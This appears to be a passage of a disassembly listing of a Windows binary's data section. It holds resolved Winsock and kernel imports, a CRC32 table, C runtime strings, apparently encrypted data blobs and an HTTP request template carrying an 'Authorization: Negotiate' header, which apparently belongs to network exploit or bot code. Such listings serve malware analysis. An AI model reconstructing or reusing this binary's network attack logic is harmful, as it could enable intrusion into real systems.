dword_421144 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA dd 7C830B14h dword_42114C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_4174BF+AFr ... dword_421150 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_418B08+2C4r ... dword_421154 dd 7C937A40h ; resolved to->NTDLL.RtlUnwind dd 7C8350BFh, 7C80176Bh dword_421160 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41913C+28r dd 7C801EEEh, 7C812F1Dh dword_42116C dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_421170 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_421174 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_421178 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_42117C dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_4191ED+51r dd 7C809E79h dword_421184 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_4201E9+2Er dword_421188 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeap dd 7C838DE8h dword_421190 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; seg000:0041BE9Er ... dd 7C812E76h, 7C809915h, 7C8127A7h dword_4211A0 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter dd 7C81DF77h, 0 dword_4211AC dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; seg000:00405AFBr dword_4211B0 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_4059F0+15r dword_4211B4 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_4211B8 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_4211BC dd 71AB3E00h ; resolved to->WS2_32.binddword_4211C0 dd 71AB88D3h ; resolved to->WS2_32.listendword_4211C4 dd 71AC1028h ; resolved to->WS2_32.acceptdword_4211C8 dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_4211CC dd 71AC0BDEh ; resolved to->WS2_32.shutdowndword_4211D0 dd 71AB2DC0h ; resolved to->WS2_32.select ; seg000:00405502r dword_4211D4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4211D8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_402DDD+2Ar ... dword_4211DC dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_402988+EDr ... dword_4211E0 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_402DDD+49r ... dword_4211E4 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_402DDD+64r ... dword_4211E8 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40283D+135r ... dword_4211EC dd 71AB428Ah ; resolved to->WS2_32.send ; sub_402988+26Br ... dword_4211F0 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_402DDD+154r ... align 8 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_421238 dq 1.388888888888889e-2 ; DATA XREF: sub_40465E+2Fr dbl_421240 dq 1.666666666666667e-1 ; DATA XREF: sub_40465E+15r dword_421248 dd 0FFFFFFFFh ; sub_404B1Er ... align 10h dbl_421250 dq 1.333333333333333 ; DATA XREF: sub_4046AA+79r dword_421258 dd 0 ; sub_404BCE+5Bo ... dword_42125C dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dd 0 dbl_421660 dq 9.765625e-4 ; DATA XREF: seg000:0040BF90r ; seg000:0040BFABr ... dbl_421668 dq -3.0517578125e-5 ; DATA XREF: sub_41407E+1Er dbl_421670 dq 1.0 ; DATA XREF: sub_415E4C+6Cr ; sub_415F93+6Cr ... dword_421678 dd 0FFFFFFFFh, 417BAFh, 417BC3hbyte_421684 db 6 ; DATA XREF: sub_417D2C:loc_417D83r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: seg002:off_437D4Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: seg002:off_437D48o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: seg002:off_437F74o align 10h dbl_4217B0 dq 0.0 ; DATA XREF: sub_41997C+8Cr ; sub_41997C+ACr ... dbl_4217B8 dq 4.195835e6 ; DATA XREF: sub_419E91+Fr dbl_4217C0 dq 3.145727e6 ; DATA XREF: sub_419E91+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419ECF+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_419ECFo align 10h aE000 db 'e+000',0 ; DATA XREF: sub_419FF6+93o align 4 dword_4217F8 dd 0FFFFFFFFh, 41A6E1h, 41A6EBh, 0dword_421808 dd 0FFFFFFFFh, 0 dd offset loc_41A867 align 8 dd offset sub_41A845 dd offset sub_41A84F dword_421820 dd 0FFFFFFFFh, 41AA97h, 41AA9Bh, 0dword_421830 dd 0FFFFFFFFh, 41AAF9h, 41AB02h, 0dword_421840 dd 0FFFFFFFFh, 0 dd offset loc_41ABCD align 10h dd offset loc_41ABB9 dd offset loc_41ABBD dword_421858 dd 0FFFFFFFFh, 0 dd offset loc_41AC23 align 8 dd offset loc_41AC0F dd offset loc_41AC13 dword_421870 dd 2 dup(0) ; seg000:0041D210o ... dword_421878 dd 0FFFFFFFFh, 41BE61h, 41BE65h, 0FFFFFFFFh, 41BF15h, 41BF19h ; DATA XREF: seg000:0041BD56o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_4383BCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CEF9+119o align 10h asc_421B40 db 0Ah ; DATA XREF: sub_41CEF9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41CEF9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_41CEF9+BFo aProgramNameUnk db '<program name unknown>',0 align 10h dword_421B80 dd 0FFFFFFFFh, 41D2D0h, 41D2D4haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_41E142+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6CE+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41E6CE+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41E6CE+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41EFE4:loc_41F0D9o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_41EFE4+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_41EFE4+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_41EFE4+ADo align 10h dword_421C20 dd 0FFFFFFFFh, 41F9DCh, 41F9E0h, 0FFFFFFFFh, 41FA4Bh, 41FA4Fh ; DATA XREF: sub_41F825+5o dd 421D40h off_421C3C dd offset loc_41FF88 ; DATA XREF: sub_41FD90+4Do ; sub_41FFA4+Co dd offset sub_41FE4E dd offset sub_41FF6B aStringTooLong db 'string too long',0 ; DATA XREF: sub_41FD90+1Eo dd offset dword_421D78 off_421C5C dd offset loc_41FEB5 ; DATA XREF: sub_41FDEA+4Eo ; sub_41FE78+11o ... dd offset sub_41FE4E dd offset sub_41FE5B dd offset dword_421DC8 off_421C6C dd offset loc_420070 ; DATA XREF: sub_41FFBC+4Do ; sub_42008C+Co dd offset sub_41FE4E dd offset sub_420053 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41FFBC+1Eo dd offset dword_421DF8 off_421C94 dd offset sub_4200F2 ; DATA XREF: sub_42010E+8o ; sub_42014B+8o ... dd offset sub_4201AB aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4201AB+7o align 10h dd offset dword_421E40 off_421CB4 dd offset loc_4201CD ; DATA XREF: sub_4201B8o ; seg002:off_438AE0o ... dword_421CB8 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_421CD8 dd offset off_438AE0 ; DATA XREF: seg001:00421D28o ; seg001:00421D5Co ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_421CF0 dd offset off_438AF8 ; DATA XREF: seg001:00421D24o ; seg001:00421D58o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_421D08 dd offset off_438B18 ; DATA XREF: seg001:00421D20o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_421D08 dd offset off_421CF0 dd offset off_421CD8 dword_421D2C dd 3 dup(0) dd 3, 421D20h, 3 dup(0) dd offset off_438B18 dd offset dword_421D2C+4 align 8 dd offset off_421CF0 dd offset off_421CD8 dword_421D60 dd 4 dup(0) dd 2, 421D58h dword_421D78 dd 3 dup(0) dd offset off_438AF8 dd offset dword_421D60+8 align 10h off_421D90 dd offset off_438B38 ; DATA XREF: seg001:00421DA8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_421D90 dd offset off_421CF0 dd offset off_421CD8 dd 0 db 0 ; DATA XREF: seg001:00421DD8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 421DA8h dword_421DC8 dd 3 dup(0) dd offset off_438B38 dd offset unk_421DB8 dd offset off_421CD8 dword_421DE0 dd 4 dup(0) dd 1, 421DDCh dword_421DF8 dd 3 dup(0) dd offset off_438AE0 dd offset dword_421DE0+8 align 10h off_421E10 dd offset off_438B58 ; DATA XREF: seg001:00421E28o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_421E10 dword_421E2C dd 3 dup(0) dd 1, 421E28h dword_421E40 dd 3 dup(0) dd offset off_438B58 dd offset dword_421E2C+4 align 8 dword_421E58 dd 19930520h, 2, 421E78h, 5 dup(0) dd 0FFFFFFFFh, 42022Ch, 0 dd offset sub_420224 dword_421E88 dd 19930520h, 2, 421EA8h, 5 dup(0) dd 0FFFFFFFFh, 420250h, 0 dd offset loc_420258 dword_421EB8 dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3 dup(0) ; DATA XREF: seg000:loc_42026Co dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 421F00h, 4 dup(0) dd offset loc_404E38 dd 0 dd offset off_438AE0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 42014Bh, 2 dup(0) dd offset off_438AF8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41FED1h, 2 dup(0) dd offset off_438B18 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41FFA4h, 0 dword_421F70 dd 3, 421F50h, 421F30h, 421F10hdword_421F80 dd 0 ; sub_41FF6B+12o dd offset sub_41FF2E dd 0 dd offset dword_421F70 dword_421F90 dd 19930520h, 1, 421FB0h, 5 dup(0) dd 0FFFFFFFFh, 420278h dword_421FB8 dd 19930520h, 1, 421FD8h, 5 dup(0)dword_421FD8 dd 0FFFFFFFFh, 42028Ch, 2, 421F30h, 421F10h, 0dword_421FF0 dd 0 dd offset sub_41FE78 dd 0 dd offset dword_421FD8+8 dword_422000 dd 19930520h, 1, 422020h, 5 dup(0) dd 0FFFFFFFFh, 4202A0h dword_422028 dd 19930520h, 1, 422048h, 5 dup(0) dd 0FFFFFFFFh, 4202B4h dword_422050 dd 19930520h, 1, 422070h, 5 dup(0) dd 0FFFFFFFFh, 4202C8h, 0 dd offset off_438B38 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 42008Ch, 0 dword_422098 dd 3, 422078h, 421F30h, 421F10hdword_4220A8 dd 0 ; sub_420053+12o dd offset sub_420016 dd 0 dd offset dword_422098 dword_4220B8 dd 19930520h, 1, 4220D8h, 5 dup(0) dd 0FFFFFFFFh, 4202DCh dword_4220E0 dd 19930520h, 1, 422100h, 5 dup(0) dd 0FFFFFFFFh, 4202F0h, 222F0h, 2 dup(0) dd 2233Ch, 211ACh, 22144h, 2 dup(0) dd 22AC8h, 21000h, 5 dup(0) dd 3FD0687h, 70916589h, 3A1D9CE3h, 7120A3EDh, 2D128B6Fh dd 0F88C7F28h, 0CB9AFDD5h, 9767638Ch, 1380686Ch, 0B0861471h dd 1618889Dh, 0F8C4B58Eh, 4223E857h, 3B5FAB78h, 0E7D22354h dd 312F850Ch, 0B5360463h, 0E67ED996h, 0F346F9C9h, 24C8C896h dd 60FCCBD6h, 99845179h, 14B85346h, 342AF1A4h, 965C256Eh dd 0E4A365ADh, 0D51A11A3h, 0A20F1DC1h, 0B9CAED48h, 10C58BF5h dd 189BE98Dh, 38650DB2h, 0CB9F83DCh, 1000F1F1h, 0CEA19A54h dd 96676409h, 0F70C4880h, 70B3A79Fh, 19E70FCBh, 79CF960Bh dd 56BEBA2Ch, 3DE6D0Ah, 0A93A00E3h, 0F843D6D1h, 84AFAA16h dd 0A43ADFB5h, 0D94A8977h, 0D172F228h, 5AFEF573h, 0F8A0BAh dd 0FD404E1Dh, 0C8BD3FDh, 5F90FA06h, 0C3B31AEAh, 6326AD7h dd 41FC8FAAh, 285CB4B2h, 77BEFE09h, 8226C2h, 3A767A1Dh dd 1E272705h, 12006F11h, 0F9B50D8Ch, 9D408A57h, 0A9D44FA1h dd 7841398Ch, 73DC825h, 3F019023h, 6BFEAE4Fh, 446681Ah dd 874224F6h, 5BC0BD19h, 28DEA280h, 953EC3E6h, 0C27F4AE1h dd 5876BE3Ah, 9A7687A2h, 0BAE77008h, 0FEB3EB88h, 5764969Fh dd 5E9F4955h, 0DF3492Dh, 89075FCEh, 0A4920FAh, 0B225B7ABh dd 3D953597h, 2A4CBE1Fh, 0E6F07377h, 0A6BEFAF6h, 0EDF59F61h dd 89082F3Dh, 75473BAAh, 0D5FE4776h, 5072D902h, 0B3C0A01Fh dd 715ABB16h, 112C6044h, 2D2F7248h, 2C78214Dh, 0B22A1686h dd 3210E30Ah, 8ACE497Eh, 135F8D09h, 753918DFh, 7A4A43D9h dd 96370CD1h, 0 dd 2D7A1212h, 993A83E8h, 0D5604EB5h, 2C579A18h, 2905C1B2h dd 0ED5B8B00h, 5F8408Bh, 0D7F7BE1Eh, 101410E1h, 84BD287Ch dd 73D5C8A6h, 361BB5C7h, 0A688BF92h, 0E72B3FB1h, 49390AF4h dd 6F5B0FA4h, 0B8507CEh, 0B1D4FACBh, 0 ; --------------------------------------------------------------------------- adc ch, dl mov edx, 0BBF0FE9Bh mov ecx, 0C99Eh jle short $+2 retf 833Eh ; --------------------------------------------------------------------------- db 6Eh, 0D3h, 0C4h dd 4BABF136h, 16D0000h, 0A5142E09h, 0B1D258F0h, 0B899624Bh dd 2060000h, 91D2C072h, 59A35F9Dh, 0AB544A85h, 3BD3ED84h dd 0C450B640h, 6AB50Fh, 63BA0207h, 91AB4170h, 0B4630161h dd 0D087F1CAh, 5FED6DB1h, 0AD60587Bh, 95F141h, 6E220159h dd 0CA6EE075h, 8D3395B2h, 89F6F679h, 9AEEFA8Dh, 11B0017h dd 0F9F4DA53h, 0CCB8517Bh, 0B0BA40EDh, 2960000h, 9F9D0E58h dd 1E400AEh, 986B1A69h, 389E413h, 7B95A358h, 0A8CD46E4h dd 0C9D3C7h, 3A2E0218h, 2538961h, 11F8h, 63A001Bh, 5A5A57A1h dd 1D54F28Ah, 2DF005Eh, 0C61D7C24h, 13759354h, 2A700BAh dd 0BCD8947Bh, 0F113E25Eh, 1068C7D4h, 0E156DA67h, 340044h dd 0E9649261h, 256C68CAh, 8AF353h, 0BE960124h, 8AFB0CCDh dd 0B9781726h, 441EF28h, 731DCD64h, 16E0000h, 7E63B866h dd 0B7319EB8h, 0A0EC5295h, 2048h, 56B900FBh, 0A83DC5F5h dd 16F06180h, 46A13E75h, 11A0000h, 8D04D975h, 0AEBE5592h dd 80E0BDD3h, 4A0000h, 0F78CF35Dh, 17FE1E89h, 3057DE86h dd 1120000h, 2EBD098h, 977BF401h, 0AA4F5Ah, 9820010Dh dd 2E042375h, 1E23402h, 0B940D152h, 45EF63B8h, 900000h dd 0CC98309Bh, 0CE81854Eh, 8A00C7h, 0D59BC364h, 0CA7E6307h dd 68EA9AF6h, 9CB44A28h, 91C46FF2h, 890000h, 9261E744h dd 2CF94DCAh, 0C1E7AC8h, 0A9C9832Fh, 0EA6DDDD5h, 0B40371h dd 6704009Dh, 32C6AFBDh, 0CE63E11Ah, 5AA754h, 0F0510094h dd 5C965995h, 34247631h, 0DB25908h, 26A0000h, 1A3313B3h dd 0FB0019D1h, 1CAE5A45h, 0F5B3h, 0B0D701C1h, 0C1F71518h dd 0EB49442Fh, 0D4CF4F0h, 0B660B41Fh, 0AA13h, 0F4E40066h dd 33B935Eh, 69F1C2F6h, 0FD0E7354h, 91EA261Fh, 0C216h dd 104101ABh, 7EFD04FBh, 0E3F6D20Dh, 0ED25A6BFh, 80B98885h dd 0B4982D13h, 0D93454D7h, 0DF809B83h, 0B2E1AE66h, 451CCCh dd 73DF0055h, 0B4A77762h, 5E47CFF5h, 4C89C39Ch, 527E3C3h dd 0F4BC83h, 5F601C2h, 7D27136Bh, 0D203ABA5h, 0DE05h, 0B74B013Eh dd 4A54520Bh, 24434530h, 31C75BCCh, 1260000h, 0DBB7D59Ah dd 0EFB93936h, 27C21DCh, 47AD4A38h, 0AF0000h, 0B097E3BAh dd 0F7F845D1h, 0EF9C49EBh, 976Ch, 76A10193h, 5882CCCh dd 71A35F90h, 7EADh, 0F56B018Ch, 0A4026C5Ah, 0E256D7D6h dd 2B00000h, 8E89D8DAh, 0EF995545h, 0EF6A6342h, 3EEEE4h dd 4B1901D6h, 83837B03h, 0E0139137h, 2E4A71h, 2F040035h dd 0E5BCA105h, 6F709AE1h, 0AA46A445h, 0B67669A1h, 26C0000h dd 5F3D482Fh, 0AC94C10h, 258382h, 0E6A20114h, 0DAB1FE91h dd 6B81BAB5h, 4400D1h, 0D34E7154h, 0CC5AA22Bh, 43D4C8Ch dd 8302h, 1470080h, 99C270Ah, 0DCDDCF46h, 0AD419B3h, 0FE863D09h dd 97E6ECACh, 2CE73Fh, 48060268h, 8DA578D5h, 0ECF08934h dd 0B0C2537Bh, 4A72A9E4h, 1650000h, 0FC253816h, 0E731A342h dd 23BE63AFh, 10B0000h, 9B2089A7h, 0E1C20865h, 62B5F269h dd 0E94723B3h, 6248h, 7C2C01F9h, 0E974B29h, 0D0B9B8B4h dd 64247Dh, 0DE010063h, 0C6413DA0h, 0E35E2AC7h, 84D2A9Ah dd 0F7000Bh, 16F80E37h, 41A8A5EBh, 0D6374626h, 362614AEh dd 43003Ch, 3F8D2114h, 755FDC9Dh, 0C8BFh, 4EC60175h, 971C3784h dd 3376ECF9h, 6F4605h, 0A8C9018Dh, 5D54C57Bh, 48C089B0h dd 0A78CA77Fh, 88941C2h, 7D0000h, 96E1D17Ch, 0D3A38145h dd 3106B2h, 0F3A70057h, 0D3EF2263h, 26CE0110h, 1EF0058h dd 0A8342338h, 70D31A89h, 0E7ACF0h, 0E17700F8h, 0E9F06662h dd 47D9A349h, 7D721905h, 822EB4Ch, 280099h, 4D6356ECh dd 0EAD074CEh, 2CE00E1h, 0E7D82F9Dh, 0DB69DB9Bh, 0FBF46BE6h dd 2951BF1h, 550365h, 3CB3003Fh, 5CF96E59h, 0F25A25CCh dd 0ECBAh, 0ED55029Fh, 0F0525B38h, 7BF3D624h, 403A506Ah dd 1DD00CBh, 251ED11Bh, 0BC3589E5h, 2D2009Bh, 1A018179h dd 993ECB0Ch, 999EA6C8h, 80FA3825h, 0DD6CBEh, 15A400CEh dd 1652B911h, 0AD0F10B6h, 0B53D7D5Bh, 0A59Ch, 9E7F029Eh dd 18BF828h, 251A212Dh, 7C78ABFEh, 0A770h, 0B123011Ch dd 7804B6ECh, 0DE5D69BAh, 7A8A3E9Bh, 1200000h, 0AC6A1979h dd 5D9BB67Bh, 5DA5BB59h, 0EF1E6033h, 1990000h, 87DC2AB3h dd 0DCCA3979h, 19F0010h, 4EA47C37h, 0FA116620h, 22F0000h dd 0B26F557Dh, 0E4AE2FEDh, 1700028h, 4506B6D1h, 9EA6A4Dh dd 0E06FD7FDh, 0C05D4D40h, 8131C7AEh, 0F581h, 55A3015Dh dd 0A4D8E4A2h, 79BD71D6h, 5D6EBBh, 4F4A01A2h, 92159D9h dd 801BDE85h, 150005Fh, 57274009h, 5B27D8Dh, 7A79DEC3h dd 0BA2311h, 89B700CAh, 4997CDA3h, 0D4C3C2F5h, 40A7CAE5h dd 17400A1h, 28767A79h, 97CA1B70h, 7C93h, 389C019Dh, 93ED1585h dd 0C0BD7669h, 19B0067h, 7909E544h, 796F9C28h, 9D22h, 9E0A02BFh dd 0AD7E147h, 0AC4914EFh, 2BB008Ch, 0A685B597h, 0C204FAEEh dd 605B6454h, 1B80000h, 0D270333Fh, 0F91C1039h, 137D25FDh dd 20B00C4h, 82DFD72Bh, 2D2A2E68h, 9A161ABBh, 262Bh, 453901A3h dd 6D01D316h, 0FE6Eh, 130901BFh, 0A7DF9CFEh, 924D6921h dd 0D3Ah, 219801C0h, 0F6C9844Ch, 6AFADB6Bh, 0C2B3h, 0D22700BFh dd 0B32428B5h, 1CE14Fh, 693400B9h, 0E11011BAh, 1310000h dd 67E000DFh, 4102493Fh, 2AD0000h, 198386B4h, 259D3CF5h dd 0F13C5972h, 31ACBEDAh, 5ADEE32Ch, 11BCB865h, 0B20000h dd 69FE618Bh, 4E2B5409h, 5A2392F2h, 0E7B7B2A1h, 0DB63C533h dd 0D5DD03h, 0F56100B3h, 158812C3h, 9103372Dh, 63E339BCh dd 174EAD26h, 58A0A536h, 10600FBh, 2EFB3CF7h, 83B55BC1h dd 0BBA31072h, 0A02FFD07h, 0D4E15524h, 1080035h, 667B4459h dd 90888137h, 0A5120996h, 9E4ED991h, 0E62EA979h, 997Dh dd 0BF7B026Dh, 0F072147h, 72E4D392h, 56E8ABD1h, 1520000h dd 6B43049Ah, 2290C095h, 56230524h, 1150000h, 0E08AB929h dd 511D27F8h, 8B19BAh, 68020153h, 8976A326h, 14EDF120h dd 14B7E468h, 1560000h, 0B2C72594h, 9296566Ch, 